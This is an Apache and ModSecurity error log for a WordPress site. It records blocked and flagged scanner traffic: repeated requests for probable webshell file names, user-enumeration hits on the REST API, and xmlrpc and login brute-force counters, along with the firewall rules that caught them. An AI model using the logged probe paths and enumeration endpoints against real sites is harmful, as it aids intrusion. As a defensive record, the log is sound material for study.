[Thu Apr 23 23:53:03.634445 2026] [autoindex:error] [pid 42973:tid 43045] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:53:03.979837 2026] [autoindex:error] [pid 42973:tid 43064] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:53:09.622866 2026] [autoindex:error] [pid 42973:tid 43061] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:53:09.796419 2026] [autoindex:error] [pid 42973:tid 43055] [client 173.239.218.30:53809] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:53:09.955000 2026] [:error] [pid 42973:tid 43057] [client 173.239.218.30:53809] [client 173.239.218.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-theme-editor/"] [unique_id "aepAZW6I0QqmmmLTHE1T4AAAAI4"]
[Fri Apr 24 01:36:56.421699 2026] [:error] [pid 43083:tid 43096] [client 49.206.17.236:25741] [client 49.206.17.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.206.17.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aepYuDC5hrvNXosL83Kq2wAAAMs"]
[Fri Apr 24 01:38:38.614539 2026] [:error] [pid 65000:tid 65046] [client 49.206.17.236:25671] [client 49.206.17.236] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aepZHr6vRb9j6psK2ZZyzAAAAg0"]
[Fri Apr 24 01:39:08.474333 2026] [:error] [pid 65000:tid 65051] [client 49.206.17.236:27306] [client 49.206.17.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.206.17.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aepZPL6vRb9j6psK2ZZzfwAAAhI"]
[Fri Apr 24 02:03:58.942181 2026] [:error] [pid 64967:tid 64988] [client 43.157.191.20:41230] [client 43.157.191.20] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aepfDoAV4GfOOdX8QzqadgAAAZM"]
[Fri Apr 24 02:51:25.723030 2026] [:error] [pid 59700:tid 59703] [client 43.133.187.11:46008] [client 43.133.187.11] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aepqLZXyGZJFeAIDWtmDowAAAUE"]
[Fri Apr 24 03:00:55.994931 2026] [:error] [pid 42973:tid 43057] [client 180.110.203.108:49349] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aepsZ26I0QqmmmLTHE2VEQAAAI4"]
[Fri Apr 24 04:20:15.911345 2026] [:error] [pid 52129:tid 52147] [client 31.134.7.26:61939] [client 31.134.7.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aep-_-KCZKf8_u2LKiARUAAAAQ4"]
[Fri Apr 24 04:20:17.020227 2026] [:error] [pid 19102:tid 19168] [client 31.134.7.26:45455] [client 31.134.7.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aep_AQDSgrbLEZbkqD6UDQAAAIQ"]
[Fri Apr 24 04:47:59.002128 2026] [:error] [pid 19102:tid 19165] [client 185.198.240.124:63767] [client 185.198.240.124] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "aeqFfwDSgrbLEZbkqD6hQAAAAIE"]
[Fri Apr 24 05:41:58.869060 2026] [:error] [pid 19200:tid 19231] [client 209.141.48.24:51133] [client 209.141.48.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.48.24, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeqSJjQ--M3-tsKAnhGQbAAAANc"]
[Fri Apr 24 05:41:59.836981 2026] [:error] [pid 19200:tid 19225] [client 209.141.48.24:51133] [client 209.141.48.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.48.24, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeqSJzQ--M3-tsKAnhGQcAAAANE"], referer: https://rcacivilgroup.com/wp-admin/
[Fri Apr 24 07:04:03.292577 2026] [:error] [pid 19101:tid 19152] [client 209.141.55.159:25642] [client 209.141.55.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.55.159, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeqlY2AHj9bEvrTgbO3hIAAAAE8"]
[Fri Apr 24 07:04:04.903430 2026] [:error] [pid 19101:tid 19146] [client 209.141.55.159:25642] [client 209.141.55.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.55.159, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeqlZGAHj9bEvrTgbO3hIgAAAEk"]
[Fri Apr 24 08:25:18.202216 2026] [:error] [pid 19100:tid 19113] [client 51.120.70.44:54380] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/G-In.php"] [unique_id "aeq4brF_hzQs4CqbifdQgwAAAAQ"]
[Fri Apr 24 08:25:19.082468 2026] [:error] [pid 52129:tid 52153] [client 51.120.70.44:54363] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/G-In.php"] [unique_id "aeq4b-KCZKf8_u2LKiAKXwAAARQ"]
[Fri Apr 24 08:25:19.800303 2026] [:error] [pid 52129:tid 52152] [client 51.120.70.44:47124] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/G-In.php"] [unique_id "aeq4b-KCZKf8_u2LKiAKZAAAARM"]
[Fri Apr 24 08:25:20.699244 2026] [:error] [pid 19102:tid 19186] [client 51.120.70.44:47130] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/G-In.php"] [unique_id "aeq4cADSgrbLEZbkqD4hmQAAAJY"]
[Fri Apr 24 08:25:21.754390 2026] [:error] [pid 19101:tid 19145] [client 51.120.70.44:58972] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj11.php"] [unique_id "aeq4cWAHj9bEvrTgbO0Z1QAAAEg"]
[Fri Apr 24 08:25:23.653433 2026] [:error] [pid 19101:tid 19149] [client 51.120.70.44:5187] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj11.php"] [unique_id "aeq4c2AHj9bEvrTgbO0Z2wAAAEw"]
[Fri Apr 24 08:25:25.222133 2026] [:error] [pid 19102:tid 19177] [client 51.120.70.44:59432] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj11.php"] [unique_id "aeq4dQDSgrbLEZbkqD4hnwAAAI0"]
[Fri Apr 24 08:25:26.172471 2026] [:error] [pid 19200:tid 19211] [client 51.120.70.44:58970] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj11.php"] [unique_id "aeq4djQ--M3-tsKAnhETCQAAAMM"]
[Fri Apr 24 08:25:27.009568 2026] [:error] [pid 52129:tid 52136] [client 51.120.70.44:59411] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "aeq4d-KCZKf8_u2LKiAKjwAAAQM"]
[Fri Apr 24 08:25:28.078385 2026] [:error] [pid 52129:tid 52154] [client 51.120.70.44:65521] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "aeq4eOKCZKf8_u2LKiAKlgAAARU"]
[Fri Apr 24 08:25:29.525542 2026] [:error] [pid 19200:tid 19216] [client 51.120.70.44:60152] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "aeq4eTQ--M3-tsKAnhETDQAAAMg"]
[Fri Apr 24 08:25:30.872152 2026] [:error] [pid 19200:tid 19221] [client 51.120.70.44:58947] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "aeq4ejQ--M3-tsKAnhETEQAAAM0"]
[Fri Apr 24 08:25:31.921626 2026] [:error] [pid 19200:tid 19229] [client 51.120.70.44:5235] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xroot.php"] [unique_id "aeq4ezQ--M3-tsKAnhETFgAAANU"]
[Fri Apr 24 08:25:32.578637 2026] [:error] [pid 19100:tid 19121] [client 51.120.70.44:65518] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xroot.php"] [unique_id "aeq4fLF_hzQs4CqbifdQkwAAAAs"]
[Fri Apr 24 08:25:33.251557 2026] [:error] [pid 52129:tid 52136] [client 51.120.70.44:55540] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xroot.php"] [unique_id "aeq4feKCZKf8_u2LKiAKoQAAAQM"]
[Fri Apr 24 08:25:33.790590 2026] [:error] [pid 52129:tid 52133] [client 51.120.70.44:5207] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xroot.php"] [unique_id "aeq4feKCZKf8_u2LKiAKowAAAQA"]
[Fri Apr 24 08:25:34.374870 2026] [:error] [pid 19101:tid 19142] [client 51.120.70.44:47144] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "aeq4fmAHj9bEvrTgbO0Z7gAAAEU"]
[Fri Apr 24 08:25:34.908943 2026] [:error] [pid 19100:tid 19127] [client 51.120.70.44:61883] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "aeq4frF_hzQs4CqbifdQmAAAABE"]
[Fri Apr 24 08:25:35.592368 2026] [:error] [pid 19102:tid 19181] [client 51.120.70.44:60124] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "aeq4fwDSgrbLEZbkqD4hpgAAAJE"]
[Fri Apr 24 08:25:36.205625 2026] [:error] [pid 19101:tid 19151] [client 51.120.70.44:45260] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "aeq4gGAHj9bEvrTgbO0Z8QAAAE4"]
[Fri Apr 24 08:25:36.886452 2026] [:error] [pid 19101:tid 19154] [client 51.120.70.44:59454] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "aeq4gGAHj9bEvrTgbO0Z9QAAAFE"]
[Fri Apr 24 08:25:37.428123 2026] [:error] [pid 19100:tid 19124] [client 51.120.70.44:63070] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "aeq4gbF_hzQs4CqbifdQmwAAAA4"]
[Fri Apr 24 08:25:37.982316 2026] [:error] [pid 19100:tid 19112] [client 51.120.70.44:5202] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "aeq4gbF_hzQs4CqbifdQnAAAAAM"]
[Fri Apr 24 08:25:38.567147 2026] [:error] [pid 19100:tid 19110] [client 51.120.70.44:60112] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "aeq4grF_hzQs4CqbifdQnQAAAAE"]
[Fri Apr 24 08:25:39.189883 2026] [:error] [pid 19200:tid 19227] [client 51.120.70.44:65486] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aios-bootstrap.php"] [unique_id "aeq4gzQ--M3-tsKAnhETHgAAANM"]
[Fri Apr 24 08:25:39.727359 2026] [:error] [pid 19102:tid 19168] [client 51.120.70.44:45272] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aios-bootstrap.php"] [unique_id "aeq4gwDSgrbLEZbkqD4hqwAAAIQ"]
[Fri Apr 24 08:25:40.429317 2026] [:error] [pid 19200:tid 19212] [client 51.120.70.44:47164] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aios-bootstrap.php"] [unique_id "aeq4hDQ--M3-tsKAnhETIwAAAMQ"]
[Fri Apr 24 08:25:41.116084 2026] [:error] [pid 19100:tid 19114] [client 51.120.70.44:63064] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aios-bootstrap.php"] [unique_id "aeq4hbF_hzQs4CqbifdQoAAAAAU"]
[Fri Apr 24 08:25:41.957309 2026] [:error] [pid 19200:tid 19208] [client 51.120.70.44:60099] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "aeq4hTQ--M3-tsKAnhETKAAAAMA"]
[Fri Apr 24 08:25:42.689147 2026] [:error] [pid 19200:tid 19226] [client 51.120.70.44:65523] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "aeq4hjQ--M3-tsKAnhETKQAAANI"]
[Fri Apr 24 08:25:43.249355 2026] [:error] [pid 19101:tid 19153] [client 51.120.70.44:45289] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "aeq4h2AHj9bEvrTgbO0Z-gAAAFA"]
[Fri Apr 24 08:25:43.974665 2026] [:error] [pid 19100:tid 19109] [client 51.120.70.44:45274] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "aeq4h7F_hzQs4CqbifdQpAAAAAA"]
[Fri Apr 24 08:25:44.640538 2026] [:error] [pid 19102:tid 19170] [client 51.120.70.44:59399] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/006.php"] [unique_id "aeq4iADSgrbLEZbkqD4hsQAAAIY"]
[Fri Apr 24 08:25:45.415317 2026] [:error] [pid 19200:tid 19215] [client 51.120.70.44:60104] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/006.php"] [unique_id "aeq4iTQ--M3-tsKAnhETMQAAAMc"]
[Fri Apr 24 08:25:46.048431 2026] [:error] [pid 19200:tid 19223] [client 51.120.70.44:58993] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/006.php"] [unique_id "aeq4ijQ--M3-tsKAnhETMwAAAM8"]
[Fri Apr 24 08:25:46.653080 2026] [:error] [pid 19200:tid 19219] [client 51.120.70.44:55108] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/006.php"] [unique_id "aeq4ijQ--M3-tsKAnhETOAAAAMs"]
